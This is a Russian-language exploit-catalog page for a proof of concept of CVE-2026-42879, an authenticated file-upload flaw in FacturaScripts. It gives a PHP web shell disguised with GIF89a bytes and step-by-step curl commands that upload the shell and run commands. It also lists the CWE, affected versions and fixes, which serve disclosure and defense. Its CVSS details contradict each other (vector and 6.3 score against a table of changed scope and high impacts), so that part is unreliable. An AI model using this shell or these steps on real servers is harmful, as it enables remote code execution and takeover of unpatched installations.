Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42879 — FacturaScripts RCE Exploit - Proof of Concept | Kitploit
Инструменты/GitHubGitHub/guzrex/cve-2026-42879
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubguzrex/cve-2026-42879

CVE-2026-42879

FacturaScripts RCE Exploit - Proof of Concept

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42879 - FacturaScripts - Аутентифицированная неограниченная загрузка файлов через обход MIME-типа

Краткое описание

В функциональности загрузки изображений товаров в FacturaScripts существует уязвимость аутентифицированной неограниченной загрузки файлов. Злоумышленник с действительными учетными данными может загрузить PHP-файл, замаскированный под GIF-изображение (с использованием заголовка GIF89a), обходя проверку MIME-типа. Файл сохраняется с его исходным расширением, включая исполняемые расширения, такие как .php.


Подробности

Уязвимость существует в:

Core/Lib/ExtendedController/ProductImagesTrait.php

Конкретно в методе addImageAction().

Уязвимый код

root@kitploit:~
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
Скачать инструмент

Основная причина

  • Проверка только проверяет, содержит ли MIME-тип "image/"
  • Это можно обойти, добавив магические байты GIF89a в начало PHP-файла
  • Система ошибочно идентифицирует файл как image/gif
  • Файл сохраняется с расширением .php в каталоге, доступном через веб

Поведение хранения файлов

Загруженные файлы сохраняются в:

root@kitploit:~
/MyFiles/YYYY/MM/X.php

Где X — это автоинкрементный идентификатор. Это позволяет прямое удаленное выполнение:

root@kitploit:~
http://target/MyFiles/2026/03/2.php?cmd=id

Воздействие

Успешная эксплуатация позволяет:

Злоумышленник может загружать файлы с исполняемыми расширениями (например, .php) на сервер, что в зависимости от конфигурации сервера может привести к дальнейшей эксплуатации.


Доказательство концепции (вручную)

Шаг 1: Создание вредоносного файла

root@kitploit:~
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

Шаг 2: Аутентификация

  • Войдите в приложение
  • Извлеките PHPSESSID из файлов cookie браузера

Шаг 3: Получение CSRF-токена

root@kitploit:~
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

Шаг 4: Загрузка оболочки

root@kitploit:~
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

Шаг 5: Выполнение команды

root@kitploit:~
curl "http://target/MyFiles/2026/03/2.php?cmd=id"

CVSS v3.1

Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N Базовый балл: 6.3 (Умеренный)

МетрикаЗначение
Вектор атакиСеть (AV:N)
Сложность атакиНизкая (AC:L)
Требуемые привилегииНизкие (PR:L)
Взаимодействие с пользователемНет (UI:N)
Область действияИзменена (S:C)
КонфиденциальностьВысокая (C:H)
ЦелостностьВысокая (I:H)
ДоступностьВысокая (A:H)

CWE

  • CWE-434: Неограниченная загрузка файла с опасным типом

Затронутые продукты

ПолеЗначение
ЭкосистемаPackagist
ID CVECVE-2026-42879
Имя пакетаfacturascripts/facturascripts
Затронутые версии<= 2025.81
Исправленные версииЕщё не исправлено
Исправлено вОжидается

Рекомендации по устранению

  1. Проверяйте расширение файла — отклоняйте любую загрузку, где имя файла заканчивается на .php, .phtml, .phar или другие исполняемые расширения, независимо от MIME-типа
  2. Перегенерируйте имена файлов на сервере — никогда не используйте getClientOriginalName(); назначайте безопасное имя на основе UUID с проверенным расширением
  3. Храните загрузки вне веб-корня — обслуживайте файлы через контроллер, который передает содержимое потоком, предотвращая прямое выполнение по URL
  4. Используйте библиотеку определения типов файлов — проверяйте фактическое содержимое файла (магические байты + расширение + MIME-тип) с помощью библиотеки, такой как fileinfo, а не доверяйте MIME-типу, предоставленному клиентом

Авторы

  • Обнаружил: Abdullah Alwasabei / Guzrex